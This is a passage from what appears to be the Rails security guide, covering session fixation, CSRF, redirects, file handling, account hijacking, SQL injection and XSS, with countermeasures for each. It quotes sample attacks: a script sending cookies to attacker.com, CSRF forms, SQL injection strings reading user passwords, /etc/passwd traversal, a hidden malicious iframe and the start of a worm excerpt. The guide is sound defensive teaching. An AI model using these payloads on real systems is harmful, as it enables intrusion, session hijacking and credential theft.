The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session ID to the trap session ID.

As the new trap session is unused, the web application will require the user to authenticate.

From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.

2.7 Session Fixation - Countermeasures

One line of code will protect you from session fixation.

The most effective countermeasure is to issue a new session identifier and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:

  reset_session

If you use the popular Devise gem for user management, it will automatically expire sessions on sign in and sign out for you. If you roll your own, remember to expire the session after your sign in action (when the session is created). This will remove values from the session, therefore you will have to transfer them to the new session.

Another countermeasure is to save user-specific properties in the session, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. These might change over the course of a session, so these users will not be able to use your application, or only in a limited way.

2.8 Session Expiry

Sessions that never expire extend the time-frame for attacks such as cross-site request forgery (CSRF), session hijacking, and session fixation.

One possibility is to set the expiry time-stamp of the cookie with the session ID. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to expire sessions in a database table. Call Session.sweep(20.minutes) to expire sessions that were used longer than 20 minutes ago.

  class Session < ApplicationRecord
  def self.sweep(time = 1.hour)
    where(updated_at: ...time.ago).delete_all
  end
end

The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:

  where(updated_at: ...time.ago).or(where(created_at: ...2.days.ago)).delete_all

3 Cross-Site Request Forgery (CSRF)

This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands.

In the session chapter you have learned that most Rails applications use cookie-based sessions. Either they store the session ID in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is that if the request comes from a site of a different domain, it will also send the cookie. Let's start with an example:

Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file: <img src="http://www.webapp.com/project/1/destroy">

Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago.

By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session ID.

The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.

Bob doesn't notice the attack - but a few days later he finds out that project number one is gone.

It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere - in a forum, blog post, or email.

CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) - less than 0.1% in 2006 - but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in many security contract works - CSRF is an important security issue.

3.1 CSRF Countermeasures

First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF.

The HTTP protocol basically provides two main types of requests - GET and POST (DELETE, PUT, and PATCH should be used like POST). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST:

Use GET if:

The interaction is more like a question (i.e., it is a safe operation such as a query, read operation, or lookup).

Use POST if:

The interaction is more like an order, or

The interaction changes the state of the resource in a way that the user would perceive (e.g., a subscription to a service), or

The user is held accountable for the results of the interaction.

If your web application is RESTful, you might be used to additional HTTP verbs, such as PATCH, PUT, or DELETE. Some legacy web browsers, however, do not support them - only GET and POST. Rails uses a hidden _method field to handle these cases.

POST requests can be sent automatically, too. In this example, the link www.harmless.com is shown as the destination in the browser's status bar. But it has actually dynamically created a new form that sends a POST request.

  <a href="http://www.harmless.com/" onclick="
  var f = document.createElement('form');
  f.style.display = 'none';
  this.parentNode.appendChild(f);
  f.method = 'POST';
  f.action = 'http://www.example.com/account/destroy';
  f.submit();
  return false;">To the harmless survey</a>

Or the attacker places the code into the onmouseover event handler of an image:

  <img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />

There are many other possibilities, like using a <script> tag to make a cross-site request to a URL with a JSONP or JavaScript response. The response is executable code that the attacker can find a way to run, possibly extracting sensitive data. To protect against this data leakage, we must disallow cross-site <script> tags. Ajax requests, however, obey the browser's same-origin policy (only your own site is allowed to initiate XmlHttpRequest) so we can safely allow them to return JavaScript responses.

We can't distinguish a <script> tag's origin—whether it's a tag on your own site or on some other malicious site—so we must block all <script> across the board, even if it's actually a safe same-origin script served from your own site. In these cases, explicitly skip CSRF protection on actions that serve JavaScript meant for a <script> tag.

To protect against all other forged requests, we introduce a required security token that our site knows but other sites don't know. We include the security token in requests and verify it on the server. This is done automatically when config.action_controller.default_protect_from_forgery is set to true, which is the default for newly created Rails applications. You can also do it manually by adding the following to your application controller:

  protect_from_forgery with: :exception

This will include a security token in all forms and Ajax requests generated by Rails. If the security token doesn't match what was expected, an exception will be thrown.

By default, Rails includes an unobtrusive scripting adapter, which adds a header called X-CSRF-Token with the security token on every non-GET Ajax call. Without this header, non-GET Ajax requests won't be accepted by Rails. When using another library to make Ajax calls, it is necessary to add the security token as a default header for Ajax calls in your library. To get the token, have a look at <meta name='csrf-token' content='THE-TOKEN'> tag printed by <%= csrf_meta_tags %> in your application view.

It is common to use persistent cookies to store user information, with cookies.permanent for example. In this case, the cookies will not be cleared and the out of the box CSRF protection will not be effective. If you are using a different cookie store than the session for this information, you must handle what to do with it yourself:

  rescue_from ActionController::InvalidAuthenticityToken do |exception|
  sign_out_user # Example method that will destroy the user cookies
end

The above method can be placed in the ApplicationController and will be called when a CSRF token is not present or is incorrect on a non-GET request.

Note that cross-site scripting (XSS) vulnerabilities bypass all CSRF protections. XSS gives the attacker access to all elements on a page, so they can read the CSRF security token from a form or directly submit the form. Read more about XSS later.

4 Redirection and Files

Another class of security vulnerabilities surrounds the use of redirection and files in web applications.

4.1 Redirection

Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap website, they may also create a self-contained attack.

Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to=www.attacker.com. Here is an example of a legacy action:

  def legacy
  redirect_to(params.update(action:'main'))
end

This will redirect the user to the main action if they tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can be exploited by attacker if they included a host key in the URL:

  http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com

If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. As a general rule, passing user input directly into redirect_to is considered dangerous. A simple countermeasure would be to include only the expected parameters in a legacy action (again a permitted list approach, as opposed to removing unexpected parameters). And if you redirect to a URL, check it with a permitted list or a regular expression.

4.1.1 Self-contained XSS

Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images:

data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, do not allow the user to supply (parts of) the URL to be redirected to.

4.2 File Uploads

Make sure file uploads don't overwrite important files, and process media files asynchronously.

Many web applications allow users to upload files. File names, which the user may choose (partly), should always be filtered as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like "../../../etc/passwd", it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so - one more reason to run web servers, database servers, and other programs as a less privileged Unix user.

When filtering user input file names, don't try to remove malicious parts. Think of a situation where the web application removes all "../" in a file name and an attacker uses a string such as "....//" - the result will be "../". It is best to use a permitted list approach, which checks for the validity of a file name with a set of accepted characters. This is opposed to a restricted list approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the attachment_fu plugin:

  def sanitize_filename(filename)
  filename.strip.tap do |name|
    # NOTE: File.basename doesn't work right with Windows paths on Unix
    # get only the filename, not the whole path
    name.sub! /\A.*(\\|\/)/, ''
    # Finally, replace all non alphanumeric, underscore
    # or periods with underscore
    name.gsub! /[^\w\.\-]/, '_'
  end
end

A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its vulnerability to denial-of-service attacks. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.

The solution to this is best to process media files asynchronously: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.

4.3 Executable Code in File Uploads

Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails' /public directory if it is Apache's home directory.

The popular Apache web server has an option called DocumentRoot. This is the home directory of the website, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file "file.cgi" with code in it, which will be executed when someone downloads the file.

If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it, store files at least one level upwards.

4.4 File Downloads

Make sure users cannot download arbitrary files.

Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:

  send_file('/var/www/uploads/' + params[:filename])

Simply pass a file name like "../../../etc/passwd" to download the server's login information. A simple solution against this, is to check that the requested file is in the expected directory:

  basename = File.expand_path('../../files', __dir__)
filename = File.expand_path(File.join(basename, @file.public_filename))
raise if basename != File.expand_path(File.dirname(filename))
send_file filename, disposition: 'inline'

Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.

5 Intranet and Admin Security

Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world.

In 2007 there was the first tailor-made trojan which stole information from an Intranet, namely the "Monster for employers" website of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.

XSS If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.

Having one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.

Refer to the Injection section for countermeasures against XSS.

CSRF Cross-Site Request Forgery (CSRF), also known as Cross-Site Reference Forgery (XSRF), is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.

A real-world example is a router reconfiguration by CSRF. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for the user, but it also contained an image tag that resulted in an HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake website and had their credentials stolen.

Another example changed Google Adsense's e-mail address and password. If the victim was logged into Google Adsense, the administration interface for Google advertisement campaigns, an attacker could change the credentials of the victim.

Another popular attack is to spam your web application, your blog, or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.

For countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section.

5.1 Additional Precautions

The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:

It is very important to think about the worst case: What if someone really got hold of your cookies or user credentials. You could introduce roles for the admin interface to limit the possibilities of the attacker. Or how about special login credentials for the admin interface, other than the ones used for the public part of the application. Or a special password for very serious actions?

Does the admin really have to access the interface from everywhere in the world? Think about limiting the login to a bunch of source IP addresses. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.

Put the admin interface to a special subdomain such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.

6 User Management

Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure.

There are a number of authentication plug-ins for Rails available. Good ones, such as the popular devise and authlogic, store only cryptographically hashed passwords, not plain-text passwords. Since Rails 3.1 you can also use the built-in has_secure_password method which supports secure password hashing, confirmation, and recovery mechanisms.

6.1 Brute-Forcing Accounts

Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA.

A list of usernames for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of usernames and a dictionary, an automatic program may find the correct password in a matter of minutes.

Because of this, most web applications will display a generic error message "username or password not correct", if one of these are not correct. If it said "the username you entered has not been found", an attacker could automatically compile a list of usernames.

However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered username or e-mail address has (not) been found. This allows an attacker to compile a list of usernames and brute-force the accounts.

In order to mitigate such attacks, display a generic error message on forgot-password pages, too. Moreover, you can require to enter a CAPTCHA after a number of failed logins from a certain IP address. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.

6.2 Account Hijacking

Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?.

6.2.1 Passwords

Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring them to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, make change-password forms safe against CSRF, of course. And require the user to enter the old password when changing it.

6.2.2 E-Mail

However, the attacker may also take over the account by changing the e-mail address. After they change it, they will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure require the user to enter the password when changing the e-mail address, too.

6.2.3 Other

Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in Google Mail. In this proof-of-concept attack, the victim would have been lured to a website controlled by the attacker. On that site is a crafted IMG-tag which results in an HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to their e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, review your application logic and eliminate all XSS and CSRF vulnerabilities.

6.3 CAPTCHAs

A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect registration forms from attackers and comment forms from automatic spam bots by asking the user to type the letters of a distorted image. This is the positive CAPTCHA, but there is also the negative CAPTCHA. The idea of a negative CAPTCHA is not for a user to prove that they are human, but reveal that a robot is a robot.

A popular positive CAPTCHA API is reCAPTCHA which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. ReCAPTCHA is also a Rails plug-in with the same name as the API.

You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails. The problem with CAPTCHAs is that they have a negative impact on the user experience. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. Still, positive CAPTCHAs are one of the best methods to prevent all kinds of bots from submitting forms.

Most bots are really naive. They crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.

Note that negative CAPTCHAs are only effective against naive bots and won't suffice to protect critical applications from targeted bots. Still, the negative and positive CAPTCHAs can be combined to increase the performance, e.g., if the "honeypot" field is not empty (bot detected), you won't need to verify the positive CAPTCHA, which would require an HTTPS request to Google ReCaptcha before computing the response.

Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:

position the fields off of the visible area of the page

make the elements very small or color them the same as the background of the page

leave the fields displayed, but tell humans to leave them blank

The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on.

You can find more sophisticated negative CAPTCHAs in Ned Batchelder's blog post:

Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.

Randomize the field names

Include more than one honeypot field of all types, including submission buttons

Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So negative CAPTCHAs might not be good to protect login forms.

6.4 Logging

Tell Rails not to put passwords in the log files.

By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers et cetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can filter certain request parameters from your log files by appending them to config.filter_parameters in the application configuration. These parameters will be marked [FILTERED] in the log.

  config.filter_parameters << :password

Provided parameters will be filtered out by partial matching regular expression. Rails adds a list of default filters, including :passw, :secret, and :token, in the appropriate initializer (initializers/filter_parameter_logging.rb) to handle typical application parameters like password, password_confirmation and my_token.

6.5 Regular Expressions

A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z.

Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books get this wrong. So how is this a security threat? Say you wanted to loosely validate a URL field and you used a simple regular expression like this:

    /^https?:\/\/[^\n]+$/i

This may work fine in some languages. However, in Ruby ^ and $ match the line beginning and line end. And thus a URL like this passes the filter without problems:

  javascript:exploit_code();/*
http://hi.com
*/

This URL passes the filter because the regular expression matches - the second line, the rest does not matter. Now imagine we had a view that showed the URL like this:

    link_to "Homepage", @user.homepage

The link looks innocent to visitors, but when it's clicked, it will execute the JavaScript function "exploit_code" or any other JavaScript the attacker provides.

To fix the regular expression, \A and \z should be used instead of ^ and $, like so:

    /\Ahttps?:\/\/[^\n]+\z/i

Since this is a frequent mistake, the format validator (validates_format_of) now raises an exception if the provided regular expression starts with ^ or ends with $. If you do need to use ^ and $ instead of \A and \z (which is rare), you can set the :multiline option to true, like so:

    # content should include a line "Meanwhile" anywhere in the string
  validates :content, format: { with: /^Meanwhile$/, multiline: true }

Note that this only protects you against the most common mistake when using the format validator - you always need to keep in mind that ^ and $ match the line beginning and line end in Ruby, and not the beginning and end of a string.

6.6 Privilege Escalation

Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it.

The most common parameter that a user might tamper with, is the id parameter, as in http://www.domain.com/project/1, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this:

  @project = Project.find(params[:id])

This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and they are not allowed to see that information, they will have access to it anyway. Instead, query the user's access rights, too:

  @project = @current_user.projects.find(params[:id])

Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated.

Don't be fooled by security by obfuscation and JavaScript security. Developer tools let you review and change every form's hidden fields. JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values. The Firebug addon for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.

7 Injection

Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection.

Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query, or programming language, the shell, or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.

7.1 Permitted Lists Versus Restricted Lists

When sanitizing, protecting, or verifying something, prefer permitted lists over restricted lists.

A restricted list can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a permitted list which lists the good e-mail addresses, public actions, good HTML tags, and so on. Although sometimes it is not possible to create a permitted list (in a SPAM filter, for example), prefer to use permitted list approaches:

Use before_action except: [...] instead of only: [...] for security-related actions. This way you don't forget to enable security checks for newly added actions.

Allow <strong> instead of removing <script> against Cross-Site Scripting (XSS). See below for details.

Don't try to correct user input using restricted lists:

This will make the attack work: "<sc<script>ript>".gsub("<script>", "")

But reject malformed input

Permitted lists are also a good approach against the human factor of forgetting something in the restricted list.

7.2 SQL Injection

Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem.

7.2.1 Introduction

SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:

  Project.where("name = '#{params[:name]}'")

This could be in a search action and the user may enter a project's name that they want to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be:

  SELECT * FROM projects WHERE name = '' OR 1 --'

The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.

7.2.2 Bypassing Authorization

Usually a web application includes access control. The user enters their login credentials and the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.

  User.find_by("login = '#{params[:name]}' AND password = '#{params[:password]}'")

If an attacker enters ' OR '1'='1 as the name, and ' OR '2'>'1 as the password, the resulting SQL query will be:

  SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1

This will simply find the first record in the database, and grants access to this user.

7.2.3 Unauthorized Reading

The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above:

  Project.where("name = '#{params[:name]}'")

And now let's inject another query using the UNION statement:

  ') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --

This will result in the following SQL query:

  SELECT * FROM projects WHERE (name = '') UNION
  SELECT id,login AS name,password AS description,1,1,1 FROM users --'

The result won't be a list of projects (because there is no project with an empty name), but a list of usernames and their password. So hopefully you securely hashed the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.

Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails to at least 2.1.1.

7.2.4 Countermeasures

Ruby on Rails has a built-in filter for special SQL characters, which will escape ' , " , NULL character, and line breaks. Using Model.find(id) or Model.find_by_something(something) automatically applies this countermeasure. But in SQL fragments, especially in conditions fragments (where("...")), the connection.execute() or Model.find_by_sql() methods, it has to be applied manually.

Instead of passing a string, you can use positional handlers to sanitize tainted strings like this:

  Model.where("zip_code = ? AND quantity >= ?", entered_zip_code, entered_quantity).first

The first parameter is a SQL fragment with question marks. The second and third parameter will replace the question marks with the value of the variables.

You can also use named handlers, the values will be taken from the hash used:

  values = { zip: entered_zip_code, qty: entered_quantity }
Model.where("zip_code = :zip AND quantity >= :qty", values).first

Additionally, you can split and chain conditionals valid for your use case:

  Model.where(zip_code: entered_zip_code).where("quantity >= ?", entered_quantity).first

Note the previous mentioned countermeasures are only available in model instances. You can try sanitize_sql elsewhere. Make it a habit to think about the security consequences when using an external string in SQL.

7.3 Cross-Site Scripting (XSS)

The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off.

7.3.1 Entry Points

An entry point is a vulnerable URL and its parameters where an attacker can start an attack.

The most common entry points are message posts, user comments, and guest books, but project titles, document names, and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on websites, it can be in any URL parameter - obvious, hidden or internal. Remember that the user may intercept any traffic. Applications or client-site proxies make it easy to change requests. There are also other attack vectors like banner advertisements.

XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the website to get confidential information or install malicious software through security holes in the web browser.

During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The Symantec Global Internet Security threat report also documented 239 browser plug-in vulnerabilities in the last six months of 2007. Mpack is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit a SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations, and many more high profile targets.

7.3.2 HTML/JavaScript Injection

The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. Escaping user input is essential.

Here is the most straightforward test to check for XSS:

  <script>alert('Hello');</script>

This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:

  <img src="javascript:alert('Hello')">
<table background="javascript:alert('Hello')">

7.3.2.1 Cookie Theft

These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:

  <script>document.write(document.cookie);</script>

For an attacker, of course, this is not useful, as the victim will see their own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review their web server's access log files to see the victim's cookie.

  <script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>

The log files on www.attacker.com will read like this:

  GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2

You can mitigate these attacks (in the obvious way) by adding the httpOnly flag to cookies, so that document.cookie may not be read by JavaScript. HTTP only cookies can be used from IE v6.SP1, Firefox v2.0.0.5, Opera 9.5, Safari 4, and Chrome 1.0.154 onwards. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies will still be visible using Ajax, though.

7.3.2.2 Defacement

With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attacker's website to steal the cookie, login credentials, or other sensitive data. The most popular way is to include code from external sources by iframes:

  <iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe>

This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the Mpack attack framework. Mpack tries to install malicious software through security holes in the web browser - very successfully, 50% of the attacks succeed.

A more specialized attack could overlap the entire website or display a login form, which looks the same as the site's original, but transmits the username and password to the attacker's site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake website.

Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...":

  http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
  <script src=http://www.securitylab.ru/test/sc.js></script><!--

7.3.2.3 Countermeasures

It is very important to filter malicious input, but it is also important to escape the output of the web application.

Especially for XSS, it is important to do permitted input filtering instead of restricted. Permitted list filtering states the values allowed as opposed to the values not allowed. Restricted lists are never complete.

Imagine a restricted list deletes "script" from the user input. Now the attacker injects "<scrscriptipt>", and after the filter, "<script>" remains. Earlier versions of Rails used a restricted list approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:

  strip_tags("some<<b>script>alert('hello')<</b>/script>")

This returned "some<script>alert('hello')</script>", which makes an attack work. That's why a permitted list approach is better, using the updated Rails 2 method sanitize():

  tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
s = sanitize(user_input, tags: tags, attributes: %w(href title))

This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.

As a second step, it is good practice to escape all output of the application, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). Use escapeHTML() (or its alias h()) method to replace the HTML input characters &, ", <, and > by their uninterpreted representations in HTML (&amp;, &quot;, &lt;, and &gt;).

7.3.2.4 Obfuscation and Encoding Injection

Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:

  <img src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
  &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus "get to know your enemy", is the Hackvertor. Rails' sanitize() method does a good job to fend off encoding attacks.

7.3.3 Examples from the Underground

In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors.

The following is an excerpt from the Js.Yamanner@m Yahoo! Mail worm. It appeared on June 11, 2006 and was the first webmail interface worm:

  <img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
  target=""onload="var http_request = false;    var Email = '';
